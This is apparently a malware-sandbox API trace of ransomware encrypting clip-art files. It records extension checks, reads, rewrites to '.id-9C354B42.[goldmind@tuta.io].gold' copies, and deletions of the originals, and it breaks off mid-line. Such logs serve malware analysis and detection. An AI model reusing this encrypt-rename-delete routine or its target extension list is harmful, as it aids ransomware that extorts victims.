[0105.626] lstrlenW (lpString=".jpg") returned 4 [0105.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".doc") returned 4 [0105.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString=".docx") returned 5 [0105.626] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.626] lstrlenW (lpString=".pdf") returned 4 [0105.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString=".xls") returned 4 [0105.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.626] lstrlenW (lpString=".xlsx") returned 5 [0105.626] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.626] lstrlenW (lpString=".ppt") returned 4 [0105.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".zip") returned 4 [0105.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.626] lstrlenW (lpString=".rar") returned 4 [0105.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString=".bz2") returned 4 [0105.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString=".7z") returned 3 [0105.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".dbf") returned 4 [0105.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".1cd") returned 4 [0105.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0105.626] lstrlenW (lpString=".jpg") returned 4 [0105.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.627] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.627] lstrlenW (lpString="J0105502.WMF") returned 12 [0105.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0105.644] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5472) returned 1 [0105.644] CloseHandle (hObject=0x198) returned 1 [0105.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20 [0105.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.779] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.779] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0105.779] GetLastError () returned 0x0 [0105.779] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1560, lpOverlapped=0x0) returned 1 [0105.796] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1570, lpOverlapped=0x0) returned 1 [0105.797] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0105.797] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.797] SetEndOfFile (hFile=0x3c4) returned 1 [0105.797] CloseHandle (hObject=0x3c4) returned 1 [0105.797] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0105.797] SetEndOfFile (hFile=0x230) returned 1 [0105.799] CloseHandle (hObject=0x230) returned 1 [0105.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0105.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.801] lstrlenW (lpString=".doc") returned 4 [0105.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.801] lstrlenW (lpString=".docx") returned 5 [0105.801] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0105.801] lstrlenW (lpString=".pdf") returned 4 [0105.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.801] lstrlenW (lpString=".xls") returned 4 [0105.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.801] lstrlenW (lpString=".xlsx") returned 5 [0105.801] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0105.801] lstrlenW (lpString=".ppt") returned 4 [0105.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.801] lstrlenW (lpString=".zip") returned 4 [0105.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.801] lstrlenW (lpString=".rar") returned 4 [0105.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString=".bz2") returned 4 [0105.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString=".7z") returned 3 [0105.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.802] lstrlenW (lpString=".dbf") returned 4 [0105.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.802] lstrlenW (lpString=".1cd") returned 4 [0105.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.802] lstrlenW (lpString=".jpg") returned 4 [0105.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.802] lstrlenW (lpString=".doc") returned 4 [0105.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString=".docx") returned 5 [0105.802] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0105.802] lstrlenW (lpString=".pdf") returned 4 [0105.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString=".xls") returned 4 [0105.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.802] lstrlenW (lpString=".xlsx") returned 5 [0105.802] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0105.802] lstrlenW (lpString=".ppt") returned 4 [0105.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.802] lstrlenW (lpString=".zip") returned 4 [0105.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.802] lstrlenW (lpString=".rar") returned 4 [0105.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString=".bz2") returned 4 [0105.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString=".7z") returned 3 [0105.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.802] lstrlenW (lpString=".dbf") returned 4 [0105.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.803] lstrlenW (lpString=".1cd") returned 4 [0105.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0105.803] lstrlenW (lpString=".jpg") returned 4 [0105.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.803] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.803] lstrlenW (lpString="J0105600.WMF") returned 12 [0105.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.818] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=8680) returned 1 [0105.818] CloseHandle (hObject=0x3b0) returned 1 [0105.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20 [0105.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.028] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.028] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0106.029] GetLastError () returned 0x0 [0106.029] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x21e8, lpOverlapped=0x0) returned 1 [0106.042] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x21f0, lpOverlapped=0x0) returned 1 [0106.043] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0106.043] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.043] SetEndOfFile (hFile=0x3c4) returned 1 [0106.043] CloseHandle (hObject=0x3c4) returned 1 [0106.043] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.043] SetEndOfFile (hFile=0x230) returned 1 [0106.045] CloseHandle (hObject=0x230) returned 1 [0106.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString=".doc") returned 4 [0106.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString=".docx") returned 5 [0106.057] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.057] lstrlenW (lpString=".pdf") returned 4 [0106.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString=".xls") returned 4 [0106.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.057] lstrlenW (lpString=".xlsx") returned 5 [0106.057] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.057] lstrlenW (lpString=".ppt") returned 4 [0106.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString=".zip") returned 4 [0106.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.057] lstrlenW (lpString=".rar") returned 4 [0106.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString=".bz2") returned 4 [0106.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString=".7z") returned 3 [0106.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString=".dbf") returned 4 [0106.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString=".1cd") returned 4 [0106.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString=".jpg") returned 4 [0106.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.057] lstrlenW (lpString=".doc") returned 4 [0106.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString=".docx") returned 5 [0106.057] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0106.057] lstrlenW (lpString=".pdf") returned 4 [0106.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.057] lstrlenW (lpString=".xls") returned 4 [0106.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.057] lstrlenW (lpString=".xlsx") returned 5 [0106.057] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0106.057] lstrlenW (lpString=".ppt") returned 4 [0106.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.058] lstrlenW (lpString=".zip") returned 4 [0106.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.058] lstrlenW (lpString=".rar") returned 4 [0106.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.058] lstrlenW (lpString=".bz2") returned 4 [0106.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.058] lstrlenW (lpString=".7z") returned 3 [0106.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.058] lstrlenW (lpString=".dbf") returned 4 [0106.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.058] lstrlenW (lpString=".1cd") returned 4 [0106.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0106.058] lstrlenW (lpString=".jpg") returned 4 [0106.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.058] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.058] lstrlenW (lpString="J0106124.WMF") returned 12 [0106.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.059] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5812) returned 1 [0106.059] CloseHandle (hObject=0x230) returned 1 [0106.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20 [0106.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0106.060] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.060] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0106.060] GetLastError () returned 0x0 [0106.060] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x16b4, lpOverlapped=0x0) returned 1 [0106.075] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x16c0, lpOverlapped=0x0) returned 1 [0106.076] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0106.076] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.076] SetEndOfFile (hFile=0x3c4) returned 1 [0106.076] CloseHandle (hObject=0x3c4) returned 1 [0106.077] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0106.077] SetEndOfFile (hFile=0x230) returned 1 [0106.078] CloseHandle (hObject=0x230) returned 1 [0106.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0106.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.079] lstrlenW (lpString=".doc") returned 4 [0106.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.079] lstrlenW (lpString=".docx") returned 5 [0106.079] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0106.079] lstrlenW (lpString=".pdf") returned 4 [0106.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.079] lstrlenW (lpString=".xls") returned 4 [0106.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.079] lstrlenW (lpString=".xlsx") returned 5 [0106.079] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0106.079] lstrlenW (lpString=".ppt") returned 4 [0106.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".zip") returned 4 [0106.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.080] lstrlenW (lpString=".rar") returned 4 [0106.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString=".bz2") returned 4 [0106.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString=".7z") returned 3 [0106.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".dbf") returned 4 [0106.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".1cd") returned 4 [0106.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".jpg") returned 4 [0106.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0106.080] lstrlenW (lpString=".doc") returned 4 [0106.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString=".docx") returned 5 [0106.080] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0106.080] lstrlenW (lpString=".pdf") returned 4 [0106.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.080] lstrlenW (lpString=".xls") returned 4 [0106.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.080] lstrlenW (lpString=".xlsx") returned 5 [0106.080] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned 